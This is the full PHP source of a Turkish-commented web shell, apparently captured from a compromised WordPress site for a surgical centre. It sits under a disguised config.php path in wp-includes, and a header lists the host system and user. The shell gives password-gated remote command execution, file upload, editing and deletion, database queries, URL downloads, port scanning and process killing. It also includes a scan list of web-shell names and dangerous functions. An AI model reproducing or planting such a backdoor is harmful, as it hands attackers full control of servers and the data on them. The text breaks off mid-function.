HEX
Server: Apache
System: Linux vps34798 6.8.0-78-generic #78~22.04.1-Ubuntu SMP PREEMPT_DYNAMIC Wed Aug 13 14:32:06 UTC 2 x86_64
User: davidsurgicenter (16765843)
PHP: 7.4.33
Disabled: NONE
Upload Files
File: /home/davidsurgicenter/davidsurgi-center.com/wp-includes/PHPMailer/config.php
<?php
/**
 * Modern PHP Web Shell
 * Proje Ödevi - File Manager Özellikli Web Shell
 */

// Basit şifre koruması (MD5 hash)
$password = '5f4dcc3b5aa765d61d8327deb882cf99'; // "password" şifresinin MD5 hash'i
session_start();

// Şifre kontrolü
if (!isset($_SESSION['authenticated'])) {
    if (isset($_POST['pass'])) {
        if (md5($_POST['pass']) === $password) {
            $_SESSION['authenticated'] = true;
            header('Location: ' . $_SERVER['PHP_SELF']);
            exit;
        } else {
            $error = 'Yanlış şifre!';
        }
    }
    ?>
    <!DOCTYPE html>
    <html lang="tr">
    <head>
        <meta charset="UTF-8">
        <meta name="viewport" content="width=device-width, initial-scale=1.0">
        <title>Giriş - Web Shell</title>
        <style>
            * { margin: 0; padding: 0; box-sizing: border-box; }
            body {
                font-family: 'Segoe UI', Tahoma, Geneva, Verdana, sans-serif;
                background: linear-gradient(135deg, #667eea 0%, #764ba2 100%);
                display: flex;
                justify-content: center;
                align-items: center;
                min-height: 100vh;
            }
            .login-box {
                background: white;
                padding: 40px;
                border-radius: 10px;
                box-shadow: 0 10px 40px rgba(0,0,0,0.2);
                width: 100%;
                max-width: 400px;
            }
            h1 {
                color: #333;
                margin-bottom: 30px;
                text-align: center;
            }
            input[type="password"] {
                width: 100%;
                padding: 12px;
                border: 2px solid #ddd;
                border-radius: 5px;
                font-size: 16px;
                margin-bottom: 20px;
            }
            input[type="submit"] {
                width: 100%;
                padding: 12px;
                background: linear-gradient(135deg, #667eea 0%, #764ba2 100%);
                color: white;
                border: none;
                border-radius: 5px;
                font-size: 16px;
                cursor: pointer;
                transition: transform 0.2s;
            }
            input[type="submit"]:hover {
                transform: translateY(-2px);
            }
            .error {
                color: red;
                margin-bottom: 15px;
                text-align: center;
            }
        </style>
    </head>
    <body>
        <div class="login-box">
            <h1>🔐 Web Shell Giriş</h1>
            <?php if (isset($error)) echo '<div class="error">' . $error . '</div>'; ?>
            <form method="POST">
                <input type="password" name="pass" placeholder="Şifre" required autofocus>
                <input type="submit" value="Giriş Yap">
            </form>
        </div>
    </body>
    </html>
    <?php
    exit;
}

// Yardımcı fonksiyonlar
function formatBytes($bytes, $precision = 2) {
    $units = array('B', 'KB', 'MB', 'GB', 'TB');
    $bytes = max($bytes, 0);
    $pow = floor(($bytes ? log($bytes) : 0) / log(1024));
    $pow = min($pow, count($units) - 1);
    $bytes /= pow(1024, $pow);
    return round($bytes, $precision) . ' ' . $units[$pow];
}

function getFileIcon($file) {
    $ext = strtolower(pathinfo($file, PATHINFO_EXTENSION));
    $icons = [
        'php' => '🔷', 'html' => '🌐', 'css' => '🎨', 'js' => '📜',
        'jpg' => '🖼️', 'jpeg' => '🖼️', 'png' => '🖼️', 'gif' => '🖼️',
        'pdf' => '📄', 'doc' => '📝', 'docx' => '📝',
        'zip' => '📦', 'rar' => '📦', 'tar' => '📦',
        'txt' => '📃', 'log' => '📋',
    ];
    return $icons[$ext] ?? '📄';
}

function executeCommand($cmd) {
    if (function_exists('exec')) {
        exec($cmd . ' 2>&1', $output, $return);
        return implode("\n", $output);
    } elseif (function_exists('shell_exec')) {
        return shell_exec($cmd . ' 2>&1');
    } elseif (function_exists('system')) {
        ob_start();
        system($cmd . ' 2>&1');
        return ob_get_clean();
    }
    return 'Komut çalıştırılamadı';
}

// İşlemler
$currentDir = isset($_GET['dir']) ? $_GET['dir'] : getcwd();
$currentDir = realpath($currentDir) ?: getcwd();
$message = '';

// Dosya yükleme
if (isset($_FILES['upload_file']) && $_FILES['upload_file']['error'] === UPLOAD_ERR_OK) {
    $target = $currentDir . '/' . basename($_FILES['upload_file']['name']);
    if (move_uploaded_file($_FILES['upload_file']['tmp_name'], $target)) {
        $message = '✅ Dosya başarıyla yüklendi!';
    } else {
        $message = '❌ Dosya yüklenemedi!';
    }
}

// Dosya/dizin silme
if (isset($_GET['delete'])) {
    $target = $currentDir . '/' . basename($_GET['delete']);
    if (is_file($target)) {
        if (unlink($target)) {
            $message = '✅ Dosya silindi!';
        } else {
            $message = '❌ Dosya silinemedi!';
        }
    } elseif (is_dir($target)) {
        if (rmdir($target)) {
            $message = '✅ Dizin silindi!';
        } else {
            $message = '❌ Dizin silinemedi! (Boş olmalı)';
        }
    }
    header('Location: ?dir=' . urlencode($currentDir) . '&msg=' . urlencode($message));
    exit;
}

// Dosya/dizin oluşturma
if (isset($_POST['create'])) {
    $name = basename($_POST['name']);
    $type = $_POST['type'];
    $target = $currentDir . '/' . $name;
    
    if ($type === 'file') {
        if (touch($target)) {
            $message = '✅ Dosya oluşturuldu!';
        } else {
            $message = '❌ Dosya oluşturulamadı!';
        }
    } else {
        if (mkdir($target, 0755, true)) {
            $message = '✅ Dizin oluşturuldu!';
        } else {
            $message = '❌ Dizin oluşturulamadı!';
        }
    }
    header('Location: ?dir=' . urlencode($currentDir) . '&msg=' . urlencode($message));
    exit;
}

// Dosya yeniden adlandırma
if (isset($_POST['rename'])) {
    $old = $currentDir . '/' . basename($_POST['old_name']);
    $new = $currentDir . '/' . basename($_POST['new_name']);
    if (rename($old, $new)) {
        $message = '✅ Yeniden adlandırıldı!';
    } else {
        $message = '❌ Yeniden adlandırılamadı!';
    }
    header('Location: ?dir=' . urlencode($currentDir) . '&msg=' . urlencode($message));
    exit;
}

// İzin değiştirme
if (isset($_POST['chmod'])) {
    $target = $currentDir . '/' . basename($_POST['file']);
    $perms = octdec($_POST['perms']);
    if (chmod($target, $perms)) {
        $message = '✅ İzinler değiştirildi!';
    } else {
        $message = '❌ İzinler değiştirilemedi!';
    }
    header('Location: ?dir=' . urlencode($currentDir) . '&msg=' . urlencode($message));
    exit;
}

// Dosya içeriği kaydetme
if (isset($_POST['save_content'])) {
    $file = $_POST['file_path'] ?? '';
    if ($file && is_file($file) && is_writable($file)) {
        if (file_put_contents($file, $_POST['content'])) {
            $message = '✅ Dosya kaydedildi!';
        } else {
            $message = '❌ Dosya kaydedilemedi!';
        }
    } else {
        $message = '❌ Dosya bulunamadı veya yazılabilir değil!';
    }
    header('Location: ?dir=' . urlencode(dirname($file)) . '&msg=' . urlencode($message));
    exit;
}

// Get file content for editing (AJAX endpoint)
if (isset($_POST['get_file_content'])) {
    header('Content-Type: application/json');
    $filePath = $_POST['file_path'] ?? '';
    if (is_file($filePath) && is_readable($filePath)) {
        $content = file_get_contents($filePath);
        echo json_encode(['success' => true, 'content' => $content]);
    } else {
        echo json_encode(['success' => false, 'error' => 'File not found or not readable']);
    }
    exit;
}

// Terminal komutu çalıştırma (AJAX endpoint)
if (isset($_POST['ajax_cmd'])) {
    header('Content-Type: application/json');
    $cmd = $_POST['cmd'] ?? '';
    $output = executeCommand($cmd);
    echo json_encode(['output' => $output, 'cmd' => $cmd]);
    exit;
}

// System Info AJAX endpoint
if (isset($_POST['ajax_system_info'])) {
    header('Content-Type: application/json');
    
    $info = [
        'os' => php_uname(),
        'php_version' => PHP_VERSION,
        'server_software' => $_SERVER['SERVER_SOFTWARE'] ?? 'Unknown',
        'user' => get_current_user(),
        'memory_limit' => ini_get('memory_limit'),
        'max_execution_time' => ini_get('max_execution_time'),
        'upload_max_filesize' => ini_get('upload_max_filesize'),
        'post_max_size' => ini_get('post_max_size'),
        'disk_total' => disk_total_space('.'),
        'disk_free' => disk_free_space('.'),
        'disk_used' => disk_total_space('.') - disk_free_space('.'),
    ];
    
    // Memory usage
    if (function_exists('memory_get_usage')) {
        $info['memory_usage'] = memory_get_usage(true);
        $info['memory_peak'] = memory_get_peak_usage(true);
    }
    
    // CPU info (Linux)
    if (PHP_OS_FAMILY === 'Linux' && file_exists('/proc/cpuinfo')) {
        $cpuinfo = file_get_contents('/proc/cpuinfo');
        preg_match('/model name\s*:\s*(.+)/', $cpuinfo, $matches);
        $info['cpu_model'] = $matches[1] ?? 'Unknown';
        $info['cpu_cores'] = substr_count($cpuinfo, 'processor');
    }
    
    // Load average (Linux)
    if (PHP_OS_FAMILY === 'Linux' && file_exists('/proc/loadavg')) {
        $info['load_avg'] = file_get_contents('/proc/loadavg');
    }
    
    echo json_encode($info);
    exit;
}

// Database Manager - Connect
if (isset($_POST['db_connect'])) {
    $host = $_POST['db_host'] ?? 'localhost';
    $user = $_POST['db_user'] ?? 'root';
    $pass = $_POST['db_pass'] ?? '';
    $name = $_POST['db_name'] ?? '';
    $type = $_POST['db_type'] ?? 'mysql';
    
    try {
        if ($type === 'mysql') {
            $conn = new mysqli($host, $user, $pass, $name);
            if ($conn->connect_error) {
                throw new Exception($conn->connect_error);
            }
            $_SESSION['db_conn'] = serialize($conn);
            $_SESSION['db_type'] = $type;
            $_SESSION['db_host'] = $host;
            $_SESSION['db_name'] = $name;
            $message = '✅ Database bağlantısı başarılı!';
        }
    } catch (Exception $e) {
        $message = '❌ Hata: ' . $e->getMessage();
    }
}

// Database Manager - Execute Query
if (isset($_POST['db_query'])) {
    header('Content-Type: application/json');
    try {
        if (!isset($_SESSION['db_conn'])) {
            throw new Exception('Database bağlantısı yok!');
        }
        $conn = unserialize($_SESSION['db_conn']);
        $query = $_POST['query'] ?? '';
        $result = $conn->query($query);
        
        if ($result === false) {
            throw new Exception($conn->error);
        }
        
        $data = [];
        if ($result->num_rows > 0) {
            while ($row = $result->fetch_assoc()) {
                $data[] = $row;
            }
        }
        
        echo json_encode(['success' => true, 'data' => $data, 'rows' => $result->num_rows]);
    } catch (Exception $e) {
        echo json_encode(['success' => false, 'error' => $e->getMessage()]);
    }
    exit;
}

// Database Manager - Get Tables
if (isset($_POST['db_tables'])) {
    header('Content-Type: application/json');
    try {
        if (!isset($_SESSION['db_conn'])) {
            throw new Exception('Database bağlantısı yok!');
        }
        $conn = unserialize($_SESSION['db_conn']);
        $result = $conn->query('SHOW TABLES');
        $tables = [];
        while ($row = $result->fetch_array()) {
            $tables[] = $row[0];
        }
        echo json_encode(['success' => true, 'tables' => $tables]);
    } catch (Exception $e) {
        echo json_encode(['success' => false, 'error' => $e->getMessage()]);
    }
    exit;
}

// Database Disconnect
if (isset($_GET['db_disconnect'])) {
    unset($_SESSION['db_conn']);
    unset($_SESSION['db_type']);
    unset($_SESSION['db_host']);
    unset($_SESSION['db_name']);
    echo 'Disconnected';
    exit;
}

// Text Tools & Encoders
if (isset($_POST['text_tool'])) {
    header('Content-Type: application/json');
    $action = $_POST['action'] ?? '';
    $input = $_POST['input'] ?? '';
    $output = '';
    
    switch ($action) {
        case 'base64_encode':
            $output = base64_encode($input);
            break;
        case 'base64_decode':
            $output = base64_decode($input);
            break;
        case 'url_encode':
            $output = urlencode($input);
            break;
        case 'url_decode':
            $output = urldecode($input);
            break;
        case 'md5':
            $output = md5($input);
            break;
        case 'sha1':
            $output = sha1($input);
            break;
        case 'sha256':
            $output = hash('sha256', $input);
            break;
        case 'sha512':
            $output = hash('sha512', $input);
            break;
        case 'hex_encode':
            $output = bin2hex($input);
            break;
        case 'hex_decode':
            $output = hex2bin($input);
            break;
        case 'json_format':
            $decoded = json_decode($input);
            $output = json_encode($decoded, JSON_PRETTY_PRINT | JSON_UNESCAPED_UNICODE);
            break;
        case 'json_validate':
            $decoded = json_decode($input);
            $output = json_last_error() === JSON_ERROR_NONE ? 'Valid JSON' : 'Invalid JSON: ' . json_last_error_msg();
            break;
    }
    
    echo json_encode(['output' => $output]);
    exit;
}

// File Search & Tools
if (isset($_POST['file_search'])) {
    header('Content-Type: application/json');
    $searchDir = $_POST['search_dir'] ?? $currentDir;
    $searchTerm = $_POST['search_term'] ?? '';
    $searchType = $_POST['search_type'] ?? 'filename';
    $useRegex = isset($_POST['use_regex']) && $_POST['use_regex'] === '1';
    
    $results = [];
    
    function searchFiles($dir, $term, $type, $regex, &$results) {
        if (!is_dir($dir)) return;
        
        $items = scandir($dir);
        foreach ($items as $item) {
            if ($item === '.' || $item === '..') continue;
            
            $path = $dir . '/' . $item;
            
            if (is_dir($path)) {
                searchFiles($path, $term, $type, $regex, $results);
            }
            
            $match = false;
            if ($type === 'filename') {
                if ($regex) {
                    $match = @preg_match('/' . $term . '/i', $item);
                } else {
                    $match = stripos($item, $term) !== false;
                }
            } elseif ($type === 'content' && is_file($path)) {
                $content = @file_get_contents($path);
                if ($content !== false) {
                    if ($regex) {
                        $match = @preg_match('/' . $term . '/i', $content);
                    } else {
                        $match = stripos($content, $term) !== false;
                    }
                }
            }
            
            if ($match) {
                $results[] = [
                    'path' => $path,
                    'name' => $item,
                    'type' => is_dir($path) ? 'dir' : 'file',
                    'size' => is_file($path) ? filesize($path) : 0,
                ];
            }
        }
    }
    
    searchFiles($searchDir, $searchTerm, $searchType, $useRegex, $results);
    
    echo json_encode(['results' => $results, 'count' => count($results)]);
    exit;
}

// Archive Manager
if (isset($_POST['archive_action'])) {
    header('Content-Type: application/json');
    $action = $_POST['action'] ?? '';
    $archivePath = $_POST['archive_path'] ?? '';
    $files = $_POST['files'] ?? [];
    $extractPath = $_POST['extract_path'] ?? '';
    
    $result = ['success' => false, 'message' => ''];
    
    if ($action === 'create') {
        if (class_exists('ZipArchive')) {
            $zip = new ZipArchive();
            if ($zip->open($archivePath, ZipArchive::CREATE) === TRUE) {
                foreach ($files as $file) {
                    if (is_file($file)) {
                        $zip->addFile($file, basename($file));
                    } elseif (is_dir($file)) {
                        $iterator = new RecursiveIteratorIterator(
                            new RecursiveDirectoryIterator($file),
                            RecursiveIteratorIterator::SELF_FIRST
                        );
                        foreach ($iterator as $item) {
                            if ($item->isFile()) {
                                $zip->addFile($item->getPathname(), str_replace($file . '/', '', $item->getPathname()));
                            }
                        }
                    }
                }
                $zip->close();
                $result = ['success' => true, 'message' => 'Archive created'];
            } else {
                $result = ['success' => false, 'message' => 'Failed to create archive'];
            }
        } else {
            $result = ['success' => false, 'message' => 'ZipArchive not available'];
        }
    } elseif ($action === 'extract') {
        if (class_exists('ZipArchive')) {
            $zip = new ZipArchive();
            if ($zip->open($archivePath) === TRUE) {
                $zip->extractTo($extractPath ?: dirname($archivePath));
                $zip->close();
                $result = ['success' => true, 'message' => 'Archive extracted'];
            } else {
                $result = ['success' => false, 'message' => 'Failed to extract archive'];
            }
        } else {
            $result = ['success' => false, 'message' => 'ZipArchive not available'];
        }
    } elseif ($action === 'list') {
        if (class_exists('ZipArchive')) {
            $zip = new ZipArchive();
            if ($zip->open($archivePath) === TRUE) {
                $files = [];
                for ($i = 0; $i < $zip->numFiles; $i++) {
                    $stat = $zip->statIndex($i);
                    $files[] = [
                        'name' => $stat['name'],
                        'size' => $stat['size'],
                        'compressed' => $stat['comp_size'],
                    ];
                }
                $zip->close();
                $result = ['success' => true, 'files' => $files];
            } else {
                $result = ['success' => false, 'message' => 'Failed to open archive'];
            }
        } else {
            $result = ['success' => false, 'message' => 'ZipArchive not available'];
        }
    }
    
    echo json_encode($result);
    exit;
}

// Network Tools
if (isset($_POST['network_tool'])) {
    header('Content-Type: application/json');
    $tool = $_POST['tool'] ?? '';
    $target = $_POST['target'] ?? '';
    $port = $_POST['port'] ?? '';
    
    $result = ['success' => false, 'output' => ''];
    
    switch ($tool) {
        case 'ping':
            $output = executeCommand('ping -c 4 ' . escapeshellarg($target) . ' 2>&1');
            $result = ['success' => true, 'output' => $output];
            break;
            
        case 'port_scan':
            if ($port) {
                $connection = @fsockopen($target, $port, $errno, $errstr, 2);
                if ($connection) {
                    fclose($connection);
                    $result = ['success' => true, 'output' => "Port $port is OPEN"];
                } else {
                    $result = ['success' => true, 'output' => "Port $port is CLOSED ($errstr)"];
                }
            } else {
                // Scan common ports
                $commonPorts = [21, 22, 23, 25, 53, 80, 110, 143, 443, 3306, 3389, 5432];
                $output = "Scanning $target...\n\n";
                foreach ($commonPorts as $p) {
                    $connection = @fsockopen($target, $p, $errno, $errstr, 1);
                    if ($connection) {
                        fclose($connection);
                        $output .= "Port $p: OPEN\n";
                    } else {
                        $output .= "Port $p: CLOSED\n";
                    }
                }
                $result = ['success' => true, 'output' => $output];
            }
            break;
            
        case 'dns_lookup':
            $ip = gethostbyname($target);
            $hostname = gethostbyaddr($target);
            $result = ['success' => true, 'output' => "IP: $ip\nHostname: " . ($hostname !== $target ? $hostname : 'N/A')];
            break;
            
        case 'download_url':
            $url = $target;
            $filename = basename(parse_url($url, PHP_URL_PATH)) ?: 'download_' . time();
            $savePath = $currentDir . '/' . $filename;
            
            $content = @file_get_contents($url);
            if ($content !== false) {
                if (file_put_contents($savePath, $content)) {
                    $result = ['success' => true, 'output' => "Downloaded to: $savePath"];
                } else {
                    $result = ['success' => false, 'output' => 'Failed to save file'];
                }
            } else {
                $result = ['success' => false, 'output' => 'Failed to download'];
            }
            break;
            
        case 'http_request':
            $ch = curl_init($target);
            curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
            curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
            curl_setopt($ch, CURLOPT_TIMEOUT, 10);
            $response = curl_exec($ch);
            $httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
            $error = curl_error($ch);
            curl_close($ch);
            
            if ($error) {
                $result = ['success' => false, 'output' => "Error: $error"];
            } else {
                $result = ['success' => true, 'output' => "HTTP Code: $httpCode\n\nResponse:\n" . substr($response, 0, 1000)];
            }
            break;
    }
    
    echo json_encode($result);
    exit;
}

// File Preview
if (isset($_GET['preview'])) {
    $file = $_GET['preview'];
    if (is_file($file)) {
        $mime = mime_content_type($file);
        $ext = strtolower(pathinfo($file, PATHINFO_EXTENSION));
        
        if (strpos($mime, 'image/') === 0) {
            header('Content-Type: ' . $mime);
            readfile($file);
            exit;
        } elseif ($ext === 'pdf') {
            header('Content-Type: application/pdf');
            readfile($file);
            exit;
        }
    }
}

// Get File Content for Preview
if (isset($_POST['get_file_content'])) {
    header('Content-Type: application/json');
    $filePath = $_POST['file_path'] ?? '';
    if (is_file($filePath) && is_readable($filePath)) {
        $content = file_get_contents($filePath);
        echo json_encode(['success' => true, 'content' => $content]);
    } else {
        echo json_encode(['success' => false, 'error' => 'File not found or not readable']);
    }
    exit;
}

// Backup Manager
if (isset($_POST['backup_action'])) {
    header('Content-Type: application/json');
    $action = $_POST['action'] ?? '';
    $source = $_POST['source'] ?? '';
    $backupName = $_POST['backup_name'] ?? 'backup_' . date('Y-m-d_H-i-s') . '.zip';
    
    $result = ['success' => false, 'message' => ''];
    
    if ($action === 'create') {
        if (class_exists('ZipArchive')) {
            $backupPath = $currentDir . '/' . $backupName;
            $zip = new ZipArchive();
            if ($zip->open($backupPath, ZipArchive::CREATE) === TRUE) {
                if (is_file($source)) {
                    $zip->addFile($source, basename($source));
                } elseif (is_dir($source)) {
                    $iterator = new RecursiveIteratorIterator(
                        new RecursiveDirectoryIterator($source),
                        RecursiveIteratorIterator::SELF_FIRST
                    );
                    foreach ($iterator as $item) {
                        if ($item->isFile()) {
                            $zip->addFile($item->getPathname(), str_replace($source . '/', '', $item->getPathname()));
                        }
                    }
                }
                $zip->close();
                $result = ['success' => true, 'message' => "Backup created: $backupName", 'path' => $backupPath];
            } else {
                $result = ['success' => false, 'message' => 'Failed to create backup'];
            }
        } else {
            $result = ['success' => false, 'message' => 'ZipArchive not available'];
        }
    } elseif ($action === 'restore') {
        if (class_exists('ZipArchive')) {
            $backupFile = $source;
            $restorePath = $_POST['restore_path'] ?? dirname($backupFile);
            
            $zip = new ZipArchive();
            if ($zip->open($backupFile) === TRUE) {
                $zip->extractTo($restorePath);
                $zip->close();
                $result = ['success' => true, 'message' => "Backup restored to: $restorePath"];
            } else {
                $result = ['success' => false, 'message' => 'Failed to restore backup'];
            }
        } else {
            $result = ['success' => false, 'message' => 'ZipArchive not available'];
        }
    }
    
    echo json_encode($result);
    exit;
}

// Command History
if (isset($_POST['save_command'])) {
    if (!isset($_SESSION['command_history'])) {
        $_SESSION['command_history'] = [];
    }
    $cmd = $_POST['cmd'] ?? '';
    if ($cmd) {
        array_unshift($_SESSION['command_history'], $cmd);
        $_SESSION['command_history'] = array_slice($_SESSION['command_history'], 0, 50);
    }
    echo json_encode(['success' => true]);
    exit;
}

if (isset($_POST['get_command_history'])) {
    header('Content-Type: application/json');
    $history = $_SESSION['command_history'] ?? [];
    echo json_encode(['history' => $history]);
    exit;
}

// Process Manager
if (isset($_POST['get_processes'])) {
    header('Content-Type: application/json');
    $processes = [];
    
    if (PHP_OS_FAMILY === 'Linux') {
        $output = executeCommand('ps aux');
        $lines = explode("\n", $output);
        foreach ($lines as $line) {
            if (empty($line) || strpos($line, 'USER') === 0) continue;
            $parts = preg_split('/\s+/', $line);
            if (count($parts) >= 11) {
                $processes[] = [
                    'user' => $parts[0],
                    'pid' => $parts[1],
                    'cpu' => $parts[2],
                    'mem' => $parts[3],
                    'vsz' => $parts[4],
                    'rss' => $parts[5],
                    'tty' => $parts[6],
                    'stat' => $parts[7],
                    'start' => $parts[8],
                    'time' => $parts[9],
                    'command' => implode(' ', array_slice($parts, 10))
                ];
            }
        }
    } elseif (PHP_OS_FAMILY === 'Windows') {
        $output = executeCommand('tasklist /FO CSV');
        $lines = explode("\n", $output);
        foreach ($lines as $line) {
            if (empty($line) || strpos($line, 'Image Name') === 0) continue;
            $parts = str_getcsv($line);
            if (count($parts) >= 5) {
                $processes[] = [
                    'name' => $parts[0],
                    'pid' => $parts[1],
                    'session' => $parts[2],
                    'mem' => $parts[4],
                    'command' => $parts[0]
                ];
            }
        }
    }
    
    echo json_encode(['processes' => $processes]);
    exit;
}

if (isset($_POST['kill_process'])) {
    header('Content-Type: application/json');
    $pid = $_POST['pid'] ?? '';
    if ($pid) {
        if (PHP_OS_FAMILY === 'Linux') {
            $output = executeCommand("kill -9 $pid 2>&1");
        } else {
            $output = executeCommand("taskkill /PID $pid /F 2>&1");
        }
        echo json_encode(['success' => true, 'output' => $output]);
    } else {
        echo json_encode(['success' => false, 'error' => 'PID required']);
    }
    exit;
}

// Log Viewer
if (isset($_POST['read_log'])) {
    header('Content-Type: application/json');
    $logFile = $_POST['log_file'] ?? '';
    $lines = (int)($_POST['lines'] ?? 100);
    
    if (is_file($logFile) && is_readable($logFile)) {
        $content = file_get_contents($logFile);
        $logLines = explode("\n", $content);
        $logLines = array_slice($logLines, -$lines);
        $filter = $_POST['filter'] ?? '';
        
        if ($filter) {
            $logLines = array_filter($logLines, function($line) use ($filter) {
                return stripos($line, $filter) !== false;
            });
        }
        
        echo json_encode(['success' => true, 'lines' => array_values($logLines)]);
    } else {
        echo json_encode(['success' => false, 'error' => 'File not readable']);
    }
    exit;
}

// Multi-File Operations
if (isset($_POST['multi_file_action'])) {
    header('Content-Type: application/json');
    $action = $_POST['action'] ?? '';
    $files = $_POST['files'] ?? [];
    $target = $_POST['target'] ?? '';
    
    $results = [];
    
    foreach ($files as $file) {
        $filePath = $currentDir . '/' . basename($file);
        
        switch ($action) {
            case 'delete':
                if (is_file($filePath)) {
                    $results[] = ['file' => $file, 'success' => unlink($filePath)];
                } elseif (is_dir($filePath)) {
                    $results[] = ['file' => $file, 'success' => rmdir($filePath)];
                }
                break;
                
            case 'chmod':
                $perms = octdec($_POST['perms'] ?? '755');
                $results[] = ['file' => $file, 'success' => chmod($filePath, $perms)];
                break;
                
            case 'copy':
                $dest = $target . '/' . basename($file);
                if (is_file($filePath)) {
                    $results[] = ['file' => $file, 'success' => copy($filePath, $dest)];
                }
                break;
                
            case 'move':
                $dest = $target . '/' . basename($file);
                $results[] = ['file' => $file, 'success' => rename($filePath, $dest)];
                break;
        }
    }
    
    echo json_encode(['results' => $results]);
    exit;
}

// File Comparison
if (isset($_POST['compare_files'])) {
    header('Content-Type: application/json');
    $file1 = $_POST['file1'] ?? '';
    $file2 = $_POST['file2'] ?? '';
    
    if (!is_file($file1) || !is_file($file2)) {
        echo json_encode(['success' => false, 'error' => 'Files not found']);
        exit;
    }
    
    $content1 = file_get_contents($file1);
    $content2 = file_get_contents($file2);
    
    $lines1 = explode("\n", $content1);
    $lines2 = explode("\n", $content2);
    
    $diff = [];
    $maxLines = max(count($lines1), count($lines2));
    
    for ($i = 0; $i < $maxLines; $i++) {
        $line1 = $lines1[$i] ?? '';
        $line2 = $lines2[$i] ?? '';
        
        if ($line1 !== $line2) {
            $diff[] = [
                'line' => $i + 1,
                'file1' => $line1,
                'file2' => $line2,
                'type' => empty($line1) ? 'added' : (empty($line2) ? 'removed' : 'modified')
            ];
        }
    }
    
    echo json_encode([
        'success' => true,
        'file1_lines' => count($lines1),
        'file2_lines' => count($lines2),
        'diff_count' => count($diff),
        'diff' => $diff,
        'identical' => count($diff) === 0
    ]);
    exit;
}

// PHP Info
if (isset($_GET['phpinfo'])) {
    phpinfo();
    exit;
}

// File Permissions Calculator
if (isset($_POST['calc_perms'])) {
    header('Content-Type: application/json');
    $input = $_POST['input'] ?? '';
    $type = $_POST['type'] ?? 'octal';
    
    $result = [];
    
    if ($type === 'octal') {
        $symbolic = '';
        for ($i = 0; $i < 3; $i++) {
            $digit = (int)substr($input, $i, 1);
            $symbolic .= ($digit & 4 ? 'r' : '-');
            $symbolic .= ($digit & 2 ? 'w' : '-');
            $symbolic .= ($digit & 1 ? 'x' : '-');
        }
        $result = ['octal' => $input, 'symbolic' => $symbolic, 'decimal' => octdec($input)];
    } else {
        $symbolic = $input;
        $octal = '';
        for ($i = 0; $i < 3; $i++) {
            $part = substr($symbolic, $i * 3, 3);
            $value = 0;
            if ($part[0] === 'r') $value += 4;
            if ($part[1] === 'w') $value += 2;
            if ($part[2] === 'x') $value += 1;
            $octal .= $value;
        }
        $result = ['symbolic' => $input, 'octal' => $octal, 'decimal' => octdec($octal)];
    }
    
    echo json_encode($result);
    exit;
}

// Remote File Manager (FTP)
if (isset($_POST['ftp_connect'])) {
    header('Content-Type: application/json');
    $host = $_POST['ftp_host'] ?? '';
    $user = $_POST['ftp_user'] ?? '';
    $pass = $_POST['ftp_pass'] ?? '';
    $port = (int)($_POST['ftp_port'] ?? 21);
    
    if (function_exists('ftp_connect')) {
        $conn = @ftp_connect($host, $port, 10);
        if ($conn && @ftp_login($conn, $user, $pass)) {
            $_SESSION['ftp_conn'] = serialize($conn);
            $_SESSION['ftp_host'] = $host;
            echo json_encode(['success' => true, 'message' => 'Connected']);
        } else {
            echo json_encode(['success' => false, 'message' => 'Connection failed']);
        }
    } else {
        echo json_encode(['success' => false, 'message' => 'FTP extension not available']);
    }
    exit;
}

if (isset($_POST['ftp_list'])) {
    header('Content-Type: application/json');
    if (!isset($_SESSION['ftp_conn'])) {
        echo json_encode(['success' => false, 'error' => 'Not connected']);
        exit;
    }
    
    $conn = unserialize($_SESSION['ftp_conn']);
    $path = $_POST['path'] ?? '/';
    $files = @ftp_nlist($conn, $path);
    
    if ($files !== false) {
        echo json_encode(['success' => true, 'files' => $files]);
    } else {
        echo json_encode(['success' => false, 'error' => 'Failed to list']);
    }
    exit;
}

// Security Scanner
if (isset($_POST['security_scan'])) {
    header('Content-Type: application/json');
    $scanDir = $_POST['scan_dir'] ?? $currentDir;
    $scanType = $_POST['scan_type'] ?? 'all';
    
    $issues = [];
    
    function scanDirectory($dir, $type, &$issues) {
        if (!is_dir($dir)) return;
        
        $items = scandir($dir);
        foreach ($items as $item) {
            if ($item === '.' || $item === '..') continue;
            
            $path = $dir . '/' . $item;
            
            if ($type === 'all' || $type === 'permissions') {
                $perms = fileperms($path);
                if (($perms & 0777) == 0777) {
                    $issues[] = ['type' => 'permission', 'severity' => 'high', 'file' => $path, 'issue' => 'World writable (777)'];
                } elseif (($perms & 0777) == 0755 && is_file($path)) {
                    $issues[] = ['type' => 'permission', 'severity' => 'medium', 'file' => $path, 'issue' => 'File is executable'];
                }
            }
            
            if ($type === 'all' || $type === 'suspicious') {
                $suspicious = ['shell.php', 'c99.php', 'r57.php', 'wso.php', '.htaccess', 'eval(', 'base64_decode', 'exec(', 'system('];
                if (is_file($path)) {
                    $content = @file_get_contents($path);
                    if ($content) {
                        foreach ($suspicious as $pattern) {
                            if (stripos($content, $pattern) !== false) {
                                $issues[] = ['type' => 'suspicious', 'severity' => 'high', 'file' => $path, 'issue' => "Contains: $pattern"];
                                break;
                            }
                        }
                    }
                }
            }
            
            if (is_dir($path)) {
                scanDirectory($path, $type, $issues);
            }
        }
    }
    
    scanDirectory($scanDir, $scanType, $issues);
    
    echo json_encode(['issues' => $issues, 'count' => count($issues)]);
    exit;
}

// Symbolic Link Manager
if (isset($_POST['symlink_action'])) {
    header('Content-Type: application/json');
    $action = $_POST['action'] ?? '';
    $result = ['success' => false, 'message' => ''];
    
    if ($action === 'create') {
        $target = $_POST['target'] ?? '';
        $link = $_POST['link'] ?? '';
        if ($target && $link) {
            if (symlink($target, $link)) {
                $result = ['success' => true, 'message' => 'Symbolic link created'];
            } else {
                $result = ['success' => false, 'message' => 'Failed to create link'];
            }
        }
    } elseif ($action === 'list') {
        $dir = $_POST['dir'] ?? $currentDir;
        $links = [];
        if (is_dir($dir)) {
            $items = scandir($dir);
            foreach ($items as $item) {
                if ($item === '.' || $item === '..') continue;
                $path = $dir . '/' . $item;
                if (is_link($path)) {
                    $links[] = [
                        'name' => $item,
                        'path' => $path,
                        'target' => readlink($path),
                        'broken' => !file_exists($path)
                    ];
                }
            }
        }
        $result = ['success' => true, 'links' => $links];
    } elseif ($action === 'delete') {
        $link = $_POST['link'] ?? '';
        if ($link && is_link($link)) {
            if (unlink($link)) {
                $result = ['success' => true, 'message' => 'Link deleted'];
            } else {
                $result = ['success' => false, 'message' => 'Failed to delete'];
            }
        }
    }
    
    echo json_encode($result);
